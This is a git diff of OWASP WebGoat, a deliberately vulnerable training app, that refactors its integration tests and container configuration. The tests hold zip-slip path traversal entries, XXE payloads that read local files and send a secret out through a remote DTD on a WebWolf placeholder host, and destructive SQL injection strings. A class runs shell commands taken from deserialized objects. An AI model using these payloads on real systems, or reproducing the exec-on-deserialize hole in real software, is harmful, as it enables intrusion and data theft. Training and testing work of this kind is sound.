.post(url("/WebGoat/PathTraversal/profile-upload-remove-user-input"))
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true));
@ -97,22 +97,23 @@ class PathTraversalITTest extends IntegrationTest {
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(uri)
.get(url(uri))
.then()
.statusCode(200)
.body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer"));
checkAssignment("/WebGoat/PathTraversal/random", Map.of("secret", Sha512DigestUtils.shaHex(getWebgoatUser())), true);
checkAssignment(url("/WebGoat/PathTraversal/random"), Map.of("secret",
Sha512DigestUtils.shaHex(this.getUser())), true);
}
private void assignment5() throws IOException {
var webGoatHome = System.getProperty("java.io.tmpdir") + "/webgoat/PathTraversal/" + getWebgoatUser();
var webGoatHome = webGoatServerDirectory() + "PathTraversal/" + this.getUser();
webGoatHome = webGoatHome.replaceAll("^[a-zA-Z]:", ""); //Remove C: from the home directory on Windows
var webGoatDirectory = new File(webGoatHome);
var zipFile = new File(tempDir.toFile(), "upload.zip");
try (var zos = new ZipOutputStream(new FileOutputStream(zipFile))) {
ZipEntry e = new ZipEntry("../../../../../../../../../../" + webGoatDirectory.toString() + "/image.jpg");
ZipEntry e = new ZipEntry("../../../../../../../../../../" + webGoatDirectory + "/image.jpg");
zos.putNextEntry(e);
zos.write("test".getBytes(StandardCharsets.UTF_8));
}
@ -122,11 +123,10 @@ class PathTraversalITTest extends IntegrationTest {
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.multiPart("uploadedFileZipSlip", "upload.zip", Files.readAllBytes(zipFile.toPath()))
.post("/WebGoat/PathTraversal/zip-slip")
.post(url("/WebGoat/PathTraversal/zip-slip"))
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true));
}
@AfterEach

View File

@ -2,7 +2,6 @@ package org.owasp.webgoat;
import io.restassured.RestAssured;
import io.restassured.response.Response;
import lombok.extern.log4j.Log4j;
import org.assertj.core.api.Assertions;
import org.junit.jupiter.api.Test;
@ -16,7 +15,7 @@ import java.util.concurrent.Executors;
import java.util.stream.Collectors;
import java.util.stream.IntStream;
public class ProgressRaceConditionTest extends IntegrationTest {
public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
@Test
public void runTests() throws InterruptedException {
@ -32,9 +31,9 @@ public class ProgressRaceConditionTest extends IntegrationTest {
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(Map.of("flag", "test"))
.post(url("/challenge/flag/"));
};
ExecutorService executorService = Executors.newWorkStealingPool(NUMBER_OF_PARALLEL_THREADS);
ExecutorService executorService = Executors.newWorkStealingPool(NUMBER_OF_PARALLEL_THREADS);
List<? extends Callable<Response>> flagCalls = IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList());
var responses = executorService.invokeAll(flagCalls);

View File

@ -6,7 +6,7 @@ import java.util.Map;
import org.junit.jupiter.api.Test;
public class SSRFTest extends IntegrationTest {
public class SSRFIntegrationTest extends IntegrationTest {
@Test
public void runTests() throws IOException {

View File

@ -14,7 +14,7 @@ import org.openqa.selenium.firefox.FirefoxOptions;
import io.github.bonigarcia.wdm.WebDriverManager;
import io.github.bonigarcia.wdm.config.DriverManagerType;
public class SeleniumTest extends IntegrationTest {
public class SeleniumIntegrationTest extends IntegrationTest {
static {
try {
@ -37,14 +37,14 @@ public class SeleniumTest extends IntegrationTest {
driver.get(url("/login"));
driver.manage().timeouts().implicitlyWait(30, TimeUnit.SECONDS);
// Login
driver.findElement(By.name("username")).sendKeys(getWebgoatUser());
driver.findElement(By.name("username")).sendKeys(this.getUser());
driver.findElement(By.name("password")).sendKeys("password");
driver.findElement(By.className("btn")).click();
// Check if user exists. If not, create user.
if (driver.getCurrentUrl().equals(url("/login?error"))) {
driver.get(url("/registration"));
driver.findElement(By.id("username")).sendKeys(getWebgoatUser());
driver.findElement(By.id("username")).sendKeys(this.getUser());
driver.findElement(By.id("password")).sendKeys("password");
driver.findElement(By.id("matchingPassword")).sendKeys("password");
driver.findElement(By.name("agree")).click();
@ -73,27 +73,27 @@ public class SeleniumTest extends IntegrationTest {
driver.findElement(By.id("restart-lesson-button")).click();
driver.get(url("/start.mvc#lesson/SqlInjection.lesson/0"));
driver.get(url("/start.mvc#lesson/SqlInjection.lesson/1"));
driver.findElement(By.name("query")).sendKeys(SqlInjectionLessonTest.sql_2);
driver.findElement(By.name("query")).sendKeys(SqlInjectionLessonIntegrationTest.sql_2);
driver.findElement(By.name("query")).submit();
driver.get(url("/start.mvc#lesson/SqlInjection.lesson/2"));
driver.findElements(By.name("query")).get(1).sendKeys(SqlInjectionLessonTest.sql_3);
driver.findElements(By.name("query")).get(1).sendKeys(SqlInjectionLessonIntegrationTest.sql_3);
driver.findElements(By.name("query")).get(1).submit();
driver.get(url("/start.mvc#lesson/SqlInjection.lesson/3"));
driver.findElements(By.name("query")).get(2).sendKeys(SqlInjectionLessonTest.sql_4_drop);
driver.findElements(By.name("query")).get(2).sendKeys(SqlInjectionLessonIntegrationTest.sql_4_drop);
driver.findElements(By.name("query")).get(2).submit();
driver.get(url("/start.mvc#lesson/SqlInjection.lesson/3"));
driver.findElements(By.name("query")).get(2).clear();
driver.findElements(By.name("query")).get(2).sendKeys(SqlInjectionLessonTest.sql_4_add);
driver.findElements(By.name("query")).get(2).sendKeys(SqlInjectionLessonIntegrationTest.sql_4_add);
driver.findElements(By.name("query")).get(2).submit();
driver.findElements(By.name("query")).get(2).clear();
driver.findElements(By.name("query")).get(2).sendKeys(SqlInjectionLessonTest.sql_4_drop);
driver.findElements(By.name("query")).get(2).sendKeys(SqlInjectionLessonIntegrationTest.sql_4_drop);
driver.findElements(By.name("query")).get(2).submit();
driver.get(url("/start.mvc#lesson/SqlInjection.lesson/4"));
driver.findElements(By.name("query")).get(3).sendKeys(SqlInjectionLessonTest.sql_5);
driver.findElements(By.name("query")).get(3).sendKeys(SqlInjectionLessonIntegrationTest.sql_5);
driver.findElements(By.name("query")).get(3).submit();
driver.get(url("/start.mvc#lesson/SqlInjection.lesson/8"));
@ -103,8 +103,8 @@ public class SeleniumTest extends IntegrationTest {
driver.findElement(By.name("Get Account Info")).click();
driver.get(url("/start.mvc#lesson/SqlInjection.lesson/9"));
driver.findElement(By.name("userid")).sendKeys(SqlInjectionLessonTest.sql_10_userid);
driver.findElement(By.name("login_count")).sendKeys(SqlInjectionLessonTest.sql_10_login_count);
driver.findElement(By.name("userid")).sendKeys(SqlInjectionLessonIntegrationTest.sql_10_userid);
driver.findElement(By.name("login_count")).sendKeys(SqlInjectionLessonIntegrationTest.sql_10_login_count);
driver.findElements(By.name("Get Account Info")).get(1).click();
}

View File

@ -33,7 +33,7 @@ import org.junit.jupiter.api.Test;
*
*/
class SessionManagementTest extends IntegrationTest {
class SessionManagementIT extends IntegrationTest {
private static final String HIJACK_LOGIN_CONTEXT_PATH = "/WebGoat/HijackSession/login";

View File

@ -5,7 +5,7 @@ import java.util.Map;
import org.junit.jupiter.api.Test;
public class SqlInjectionAdvancedTest extends IntegrationTest {
public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
@Test
public void runTests() {

View File

@ -5,7 +5,7 @@ import java.util.Map;
import org.junit.jupiter.api.Test;
public class SqlInjectionLessonTest extends IntegrationTest {
public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
public static final String sql_2 = "select department from employees where last_name='Franco'";
public static final String sql_3 = "update employees set department='Sales' where last_name='Barnett'";

View File

@ -10,7 +10,7 @@ import org.junit.jupiter.api.Test;
import static org.hamcrest.CoreMatchers.containsString;
public class SqlInjectionMitigationTest extends IntegrationTest {
public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
@Test
public void runTests() {
@ -59,7 +59,7 @@ public class SqlInjectionMitigationTest extends IntegrationTest {
.get(url("/WebGoat/SqlInjectionMitigations/servers?column=unknown"))
.then()
.statusCode(500)
.body("trace", containsString("select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by"));
.body("trace", containsString("select id, hostname, ip, mac, status, description from SERVERS where status <> 'out of order' order by"));
params.clear();
params.put("ip", "104.130.219.202");

View File

@ -10,7 +10,7 @@ import org.junit.jupiter.api.Test;
import io.restassured.RestAssured;
public class WebWolfTest extends IntegrationTest {
public class WebWolfIntegrationTest extends IntegrationTest {
@Test
public void runTests() throws IOException {
@ -19,7 +19,7 @@ public class WebWolfTest extends IntegrationTest {
//Assignment 3
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("email", getWebgoatUser()+"@webgoat.org");
params.put("email", this.getUser()+"@webgoat.org");
checkAssignment(url("/WebGoat/WebWolf/mail/send"), params, false);
String responseBody = RestAssured.given()
@ -31,7 +31,7 @@ public class WebWolfTest extends IntegrationTest {
.extract().response().getBody().asString();
String uniqueCode = responseBody.replace("%20", " ");
uniqueCode = uniqueCode.substring(21+uniqueCode.lastIndexOf("your unique code is: "),uniqueCode.lastIndexOf("your unique code is: ")+(21+getWebgoatUser().length()));
uniqueCode = uniqueCode.substring(21+uniqueCode.lastIndexOf("your unique code is: "),uniqueCode.lastIndexOf("your unique code is: ")+(21+ this.getUser().length()));
params.clear();
params.put("uniqueCode", uniqueCode);
checkAssignment(url("/WebGoat/WebWolf/mail"), params, true);

View File

@ -7,7 +7,7 @@ import java.util.Map;
import org.junit.jupiter.api.Test;
public class XSSTest extends IntegrationTest {
public class XSSIntegrationTest extends IntegrationTest {
@Test

View File

@ -1,16 +1,15 @@
package org.owasp.webgoat;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import org.junit.jupiter.api.Test;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import org.junit.jupiter.api.Test;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
public class XXETest extends IntegrationTest {
public class XXEIntegrationTest extends IntegrationTest {
private static final String xxe3 = """
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>""";
@ -22,18 +21,7 @@ public class XXETest extends IntegrationTest {
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>""";
private String webGoatHomeDirectory;
private String webwolfFileDir;
@Test
public void runTests() throws IOException {
startLesson("XXE");
webGoatHomeDirectory = getWebGoatServerPath();
webwolfFileDir = getWebWolfServerPath();
checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, true);
checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, true);
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", true);
checkResults("xxe/");
}
private String webWolfFileServerLocation;
/*
* This test is to verify that all is secure when XXE security patch is applied.
@ -41,8 +29,8 @@ public class XXETest extends IntegrationTest {
@Test
public void xxeSecure() throws IOException {
startLesson("XXE");
webGoatHomeDirectory = getWebGoatServerPath();
webwolfFileDir = getWebWolfServerPath();
webGoatHomeDirectory = webGoatServerDirectory();
webWolfFileServerLocation = getWebWolfFileServerLocation();
RestAssured.given()
.when()
.relaxedHTTPSValidation()
@ -54,7 +42,7 @@ public class XXETest extends IntegrationTest {
checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, false);
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", false);
}
/**
* This performs the steps of the exercise before the secret can be committed in the final step.
*
@ -63,11 +51,11 @@ public class XXETest extends IntegrationTest {
*/
private String getSecret() throws IOException {
//remove any left over DTD
Path webWolfFilePath = Paths.get(webwolfFileDir);
if (webWolfFilePath.resolve(Paths.get(getWebgoatUser(), "blind.dtd")).toFile().exists()) {
Files.delete(webWolfFilePath.resolve(Paths.get(getWebgoatUser(), "blind.dtd")));
Path webWolfFilePath = Paths.get(webWolfFileServerLocation);
if (webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")).toFile().exists()) {
Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")));
}
String secretFile = webGoatHomeDirectory.concat("/XXE/secret.txt");
String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt");
String dtd7String = dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile);
//upload DTD
@ -76,12 +64,12 @@ public class XXETest extends IntegrationTest {
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.multiPart("file", "blind.dtd", dtd7String.getBytes())
.post(webWolfUrl("/WebWolf/fileupload"))
.post(webWolfUrl("/fileupload"))
.then()
.extract().response().getBody().asString();
//upload attack
String xxe7String = xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", getWebgoatUser());
checkAssignment(url("/WebGoat/xxe/blind?send=test"), ContentType.XML, xxe7String, false);
String xxe7String = xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", this.getUser());
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, xxe7String, false);
//read results from WebWolf
String result = RestAssured.given()
@ -93,8 +81,19 @@ public class XXETest extends IntegrationTest {
.extract().response().getBody().asString();
result = result.replace("%20", " ");
if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) {
result = result.substring(result.lastIndexOf("WebGoat 8.0 rocks... ("), result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
result = result.substring(result.lastIndexOf("WebGoat 8.0 rocks... ("), result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
}
return result;
}
@Test
public void runTests() throws IOException {
startLesson("XXE", true);
webGoatHomeDirectory = webGoatServerDirectory();
webWolfFileServerLocation = getWebWolfFileServerLocation();
checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, true);
checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, true);
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", true);
checkResults("xxe/");
}
}

View File

@ -1,73 +1,74 @@
package org.dummy.insecure.framework;
import lombok.extern.slf4j.Slf4j;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;
@Slf4j
public class VulnerableTaskHolder implements Serializable {
private static final long serialVersionUID = 2;
private String taskName;
private String taskAction;
private LocalDateTime requestedExecutionTime;
public VulnerableTaskHolder(String taskName, String taskAction) {
super();
this.taskName = taskName;
this.taskAction = taskAction;
this.requestedExecutionTime = LocalDateTime.now();
}
@Override
public String toString() {
return "VulnerableTaskHolder [taskName=" + taskName + ", taskAction=" + taskAction + ", requestedExecutionTime="
+ requestedExecutionTime + "]";
}
/**
* Execute a task when de-serializing a saved or received object.
* @author stupid develop
*/
private void readObject( ObjectInputStream stream ) throws Exception {
//unserialize data so taskName and taskAction are available
stream.defaultReadObject();
//do something with the data
log.info("restoring task: {}", taskName);
log.info("restoring time: {}", requestedExecutionTime);
if (requestedExecutionTime!=null &&
(requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
|| requestedExecutionTime.isAfter(LocalDateTime.now()))) {
//do nothing is the time is not within 10 minutes after the object has been created
log.debug(this.toString());
throw new IllegalArgumentException("outdated");
}
//condition is here to prevent you from destroying the goat altogether
if ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))
&& taskAction.length() < 22) {
log.info("about to execute: {}", taskAction);
try {
Process p = Runtime.getRuntime().exec(taskAction);
BufferedReader in = new BufferedReader(
new InputStreamReader(p.getInputStream()));
String line = null;
while ((line = in.readLine()) != null) {
log.info(line);
}
} catch (IOException e) {
log.error("IO Exception", e);
}
}
}
}
package org.dummy.insecure.framework;
import lombok.extern.slf4j.Slf4j;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;
@Slf4j
//TODO move back to lesson
public class VulnerableTaskHolder implements Serializable {
private static final long serialVersionUID = 2;
private String taskName;
private String taskAction;
private LocalDateTime requestedExecutionTime;
public VulnerableTaskHolder(String taskName, String taskAction) {
super();
this.taskName = taskName;
this.taskAction = taskAction;
this.requestedExecutionTime = LocalDateTime.now();
}
@Override
public String toString() {
return "VulnerableTaskHolder [taskName=" + taskName + ", taskAction=" + taskAction + ", requestedExecutionTime="
+ requestedExecutionTime + "]";
}
/**
* Execute a task when de-serializing a saved or received object.
* @author stupid develop
*/
private void readObject( ObjectInputStream stream ) throws Exception {
//unserialize data so taskName and taskAction are available
stream.defaultReadObject();
//do something with the data
log.info("restoring task: {}", taskName);
log.info("restoring time: {}", requestedExecutionTime);
if (requestedExecutionTime!=null &&
(requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
|| requestedExecutionTime.isAfter(LocalDateTime.now()))) {
//do nothing is the time is not within 10 minutes after the object has been created
log.debug(this.toString());
throw new IllegalArgumentException("outdated");
}
//condition is here to prevent you from destroying the goat altogether
if ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))
&& taskAction.length() < 22) {
log.info("about to execute: {}", taskAction);
try {
Process p = Runtime.getRuntime().exec(taskAction);
BufferedReader in = new BufferedReader(
new InputStreamReader(p.getInputStream()));
String line = null;
while ((line = in.readLine()) != null) {
log.info(line);
}
} catch (IOException e) {
log.error("IO Exception", e);
}
}
}
}

View File

@ -27,7 +27,7 @@
* for free software projects.
*/
package org.owasp.webgoat;
package org.owasp.webgoat.container;
import org.springframework.security.core.AuthenticationException;
import org.springframework.security.web.authentication.LoginUrlAuthenticationEntryPoint;
@ -48,6 +48,7 @@ public class AjaxAuthenticationEntryPoint extends LoginUrlAuthenticationEntryPoi
super(loginFormUrl);
}
@Override
public void commence(HttpServletRequest request, HttpServletResponse response, AuthenticationException authException) throws IOException, ServletException {
if (request.getHeader("x-requested-with") != null) {
response.sendError(401, authException.getMessage());

View File

@ -29,13 +29,18 @@
* @since December 12, 2015
*/
package org.owasp.webgoat;
package org.owasp.webgoat.container;
import lombok.extern.slf4j.Slf4j;
import org.asciidoctor.Asciidoctor;
import org.asciidoctor.extension.JavaExtensionRegistry;
import org.owasp.webgoat.asciidoc.*;
import org.owasp.webgoat.i18n.Language;
import org.owasp.webgoat.container.asciidoc.OperatingSystemMacro;
import org.owasp.webgoat.container.asciidoc.UsernameMacro;
import org.owasp.webgoat.container.asciidoc.WebGoatTmpDirMacro;
import org.owasp.webgoat.container.asciidoc.WebGoatVersionMacro;
import org.owasp.webgoat.container.asciidoc.WebWolfMacro;
import org.owasp.webgoat.container.asciidoc.WebWolfRootMacro;
import org.springframework.core.io.ResourceLoader;
import org.thymeleaf.IEngineConfiguration;
import org.thymeleaf.templateresolver.FileTemplateResolver;
import org.thymeleaf.templateresource.ITemplateResource;
@ -63,55 +68,34 @@ public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
private static final Asciidoctor asciidoctor = create();
private static final String PREFIX = "doc:";
private final Language language;
private final ResourceLoader resourceLoader;
public AsciiDoctorTemplateResolver(Language language) {
this.language = language;
public AsciiDoctorTemplateResolver(ResourceLoader resourceLoader) {
this.resourceLoader = resourceLoader;
setResolvablePatterns(Set.of(PREFIX + "*"));
}
@Override
protected ITemplateResource computeTemplateResource(IEngineConfiguration configuration, String ownerTemplate, String template, String resourceName, String characterEncoding, Map<String, Object> templateResolutionAttributes) {
var templateName = resourceName.substring(PREFIX.length());
try (InputStream is = readInputStreamOrFallbackToEnglish(templateName, language)) {
if (is == null) {
log.warn("Resource name: {} not found, did you add the adoc file?", templateName);
return new StringTemplateResource("");
} else {
JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry();
extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class);
extensionRegistry.inlineMacro("webWolfRootLink", WebWolfRootMacro.class);
extensionRegistry.inlineMacro("webGoatVersion", WebGoatVersionMacro.class);
extensionRegistry.inlineMacro("webGoatTempDir", WebGoatTmpDirMacro.class);
extensionRegistry.inlineMacro("operatingSystem", OperatingSystemMacro.class);
extensionRegistry.inlineMacro("username", UsernameMacro.class);
StringWriter writer = new StringWriter();
asciidoctor.convert(new InputStreamReader(is), writer, createAttributes());
return new StringTemplateResource(writer.getBuffer().toString());
}
try (InputStream is = resourceLoader.getResource("classpath:/" + templateName).getInputStream()) {
JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry();
extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class);
extensionRegistry.inlineMacro("webWolfRootLink", WebWolfRootMacro.class);
extensionRegistry.inlineMacro("webGoatVersion", WebGoatVersionMacro.class);
extensionRegistry.inlineMacro("webGoatTempDir", WebGoatTmpDirMacro.class);
extensionRegistry.inlineMacro("operatingSystem", OperatingSystemMacro.class);
extensionRegistry.inlineMacro("username", UsernameMacro.class);
StringWriter writer = new StringWriter();
asciidoctor.convert(new InputStreamReader(is), writer, createAttributes());
return new StringTemplateResource(writer.getBuffer().toString());
} catch (IOException e) {
//no html yet
return new StringTemplateResource("");
return new StringTemplateResource("<div>Unable to find documentation for: " + templateName + " </div>");
}
}
/**
* The resource name is for example HttpBasics_content1.adoc. This is always located in the following directory:
* <code>plugin/HttpBasics/lessonPlans/en/HttpBasics_content1.adoc</code>
*/
private String computeResourceName(String resourceName, String language) {
return String.format("lessonPlans/%s/%s", language, resourceName);
}
private InputStream readInputStreamOrFallbackToEnglish(String resourceName, Language language) {
InputStream is = Thread.currentThread().getContextClassLoader().getResourceAsStream(computeResourceName(resourceName, language.getLocale().getLanguage()));
if (is == null) {
is = Thread.currentThread().getContextClassLoader().getResourceAsStream(computeResourceName(resourceName, "en"));
}
return is;
}
private Map<String, Object> createAttributes() {
Map<String, Object> attributes = new HashMap<>();
attributes.put("source-highlighter", "coderay");

View File

@ -0,0 +1,68 @@
package org.owasp.webgoat.container;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.flywaydb.core.Flyway;
import org.owasp.webgoat.container.lessons.LessonScanner;
import org.owasp.webgoat.container.service.RestartLessonService;
import org.springframework.boot.autoconfigure.jdbc.DataSourceProperties;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.Primary;
import org.springframework.jdbc.datasource.DriverManagerDataSource;
import javax.sql.DataSource;
import java.util.Map;
import java.util.function.Function;
@Configuration
@RequiredArgsConstructor
@Slf4j
public class DatabaseConfiguration {
private final DataSourceProperties properties;
private final LessonScanner lessonScanner;
@Bean
@Primary
public DataSource dataSource() {
DriverManagerDataSource dataSource = new DriverManagerDataSource();
dataSource.setDriverClassName(properties.getDriverClassName());
dataSource.setUrl(properties.getUrl());
dataSource.setUsername(properties.getUsername());
dataSource.setPassword(properties.getPassword());
return dataSource;
}
/**
* Define 2 Flyway instances, 1 for WebGoat itself which it uses for internal storage like users and 1 for lesson
* specific tables we use. This way we clean the data in the lesson database quite easily see {@link RestartLessonService#restartLesson()}
* for how we clean the lesson related tables.
*/
@Bean(initMethod = "migrate")
public Flyway flyWayContainer() {
return Flyway
.configure()
.configuration(Map.of("driver", properties.getDriverClassName()))
.dataSource(dataSource())
.schemas("container")
.locations("db/container")
.load();
}
@Bean
public Function<String, Flyway> flywayLessons(LessonDataSource lessonDataSource) {
return schema -> Flyway
.configure()
.configuration(Map.of("driver", properties.getDriverClassName()))
.schemas(schema)
.dataSource(lessonDataSource)
.locations("lessons")
.load();
}
@Bean
public LessonDataSource lessonDataSource() {
return new LessonDataSource(dataSource());
}
}

View File

@ -1,16 +1,12 @@
package org.owasp.webgoat;
package org.owasp.webgoat.container;
import lombok.AllArgsConstructor;
import org.owasp.webgoat.session.Course;
import org.springframework.security.core.Authentication;
import org.owasp.webgoat.container.session.Course;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
/**
* *************************************************************************************************
* <p>
@ -55,7 +51,7 @@ public class HammerHead {
* Entry point for WebGoat, redirects to the first lesson found within the course.
*/
@RequestMapping(path = "/attack", method = {RequestMethod.GET, RequestMethod.POST})
public ModelAndView attack(Authentication authentication, HttpServletRequest request, HttpServletResponse response) {
public ModelAndView attack() {
return new ModelAndView("redirect:" + "start.mvc" + course.getFirstLesson().getLink());
}
}

View File

@ -1,6 +1,6 @@
package org.owasp.webgoat;
package org.owasp.webgoat.container;
import org.owasp.webgoat.lessons.LessonConnectionInvocationHandler;
import org.owasp.webgoat.container.lessons.LessonConnectionInvocationHandler;
import org.springframework.jdbc.datasource.ConnectionProxy;
import javax.sql.DataSource;

View File

@ -29,8 +29,9 @@
* @since October 28, 2003
*/
package org.owasp.webgoat;
package org.owasp.webgoat.container;
import lombok.extern.slf4j.Slf4j;
import org.springframework.core.io.ResourceLoader;
import org.thymeleaf.IEngineConfiguration;
import org.thymeleaf.templateresolver.FileTemplateResolver;
@ -47,11 +48,12 @@ import java.util.Set;
* Dynamically resolve a lesson. In the html file this can be invoked as:
*
* <code>
* <div th:case="true" th:replace="lesson:__${lesson.class.simpleName}__"></div>
* <div th:case="true" th:replace="lesson:__${lesson.class.simpleName}__"></div>
* </code>
*
* <p>
* Thymeleaf will invoke this resolver based on the prefix and this implementation will resolve the html in the plugins directory
*/
@Slf4j
public class LessonTemplateResolver extends FileTemplateResolver {
private static final String PREFIX = "lesson:";
@ -65,16 +67,16 @@ public class LessonTemplateResolver extends FileTemplateResolver {
@Override
protected ITemplateResource computeTemplateResource(IEngineConfiguration configuration, String ownerTemplate, String template, String resourceName, String characterEncoding, Map<String, Object> templateResolutionAttributes) {
var templateName = resourceName.substring(PREFIX.length());;
var templateName = resourceName.substring(PREFIX.length());
byte[] resource = resources.get(templateName);
if (resource == null) {
try {
resource = resourceLoader.getResource("classpath:/html/" + templateName + ".html").getInputStream().readAllBytes();
resource = resourceLoader.getResource("classpath:/" + templateName).getInputStream().readAllBytes();
} catch (IOException e) {
e.printStackTrace();
log.error("Unable to find lesson HTML: {}", template);
}
resources.put(resourceName, resource);
resources.put(templateName, resource);
}
return new StringTemplateResource(new String(resource, StandardCharsets.UTF_8));
}
}
}

View File

@ -29,39 +29,51 @@
* @since October 28, 2003
*/
package org.owasp.webgoat;
package org.owasp.webgoat.container;
import org.owasp.webgoat.i18n.Language;
import org.owasp.webgoat.i18n.Messages;
import org.owasp.webgoat.i18n.PluginMessages;
import org.owasp.webgoat.session.LabelDebugger;
import lombok.RequiredArgsConstructor;
import org.owasp.webgoat.container.i18n.Language;
import org.owasp.webgoat.container.i18n.Messages;
import org.owasp.webgoat.container.i18n.PluginMessages;
import org.owasp.webgoat.container.lessons.LessonScanner;
import org.owasp.webgoat.container.session.LabelDebugger;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.core.io.ResourceLoader;
import org.springframework.core.io.support.ResourcePatternResolver;
import org.springframework.web.servlet.LocaleResolver;
import org.springframework.web.servlet.ViewResolver;
import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry;
import org.springframework.web.servlet.config.annotation.ViewControllerRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
import org.springframework.web.servlet.i18n.SessionLocaleResolver;
import org.thymeleaf.TemplateEngine;
import org.thymeleaf.IEngineConfiguration;
import org.thymeleaf.extras.springsecurity5.dialect.SpringSecurityDialect;
import org.thymeleaf.spring5.SpringTemplateEngine;
import org.thymeleaf.spring5.templateresolver.SpringResourceTemplateResolver;
import org.thymeleaf.spring5.view.ThymeleafViewResolver;
import org.thymeleaf.templatemode.TemplateMode;
import org.thymeleaf.templateresolver.FileTemplateResolver;
import org.thymeleaf.templateresolver.ITemplateResolver;
import org.thymeleaf.templateresource.ITemplateResource;
import org.thymeleaf.templateresource.StringTemplateResource;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.Map;
import java.util.Set;
/**
* Configuration for Spring MVC
*/
@Configuration
@RequiredArgsConstructor
public class MvcConfiguration implements WebMvcConfigurer {
private static final String UTF8 = "UTF-8";
private static final String UTF8 = "UTF-8";
private final LessonScanner lessonScanner;
@Override
public void addViewControllers(ViewControllerRegistry registry) {
@ -69,30 +81,55 @@ public class MvcConfiguration implements WebMvcConfigurer {
registry.addViewController("/lesson_content").setViewName("lesson_content");
registry.addViewController("/start.mvc").setViewName("main_new");
registry.addViewController("/scoreboard").setViewName("scoreboard");
//registry.addViewController("/list_users").setViewName("list_users");
}
@Bean
public ViewResolver viewResolver(SpringTemplateEngine thymeleafTemplateEngine) {
ThymeleafViewResolver resolver = new ThymeleafViewResolver();
resolver.setTemplateEngine(thymeleafTemplateEngine);
resolver.setCharacterEncoding("UTF-8");
resolver.setCharacterEncoding(StandardCharsets.UTF_8.displayName());
return resolver;
}
/**
* Responsible for loading lesson templates based on Thymeleaf, for example:
*
* <div th:include="/lessons/spoofcookie/templates/spoofcookieform.html" id="content"></div>
*/
@Bean
public ITemplateResolver lessonThymeleafTemplateResolver(ResourceLoader resourceLoader) {
var resolver = new FileTemplateResolver() {
@Override
protected ITemplateResource computeTemplateResource(IEngineConfiguration configuration, String ownerTemplate, String template, String resourceName, String characterEncoding, Map<String, Object> templateResolutionAttributes) {
try (var is = resourceLoader.getResource("classpath:" + resourceName).getInputStream()) {
return new StringTemplateResource(new String(is.readAllBytes(), StandardCharsets.UTF_8));
} catch (IOException e) {
return null;
}
}
};
resolver.setOrder(1);
return resolver;
}
/**
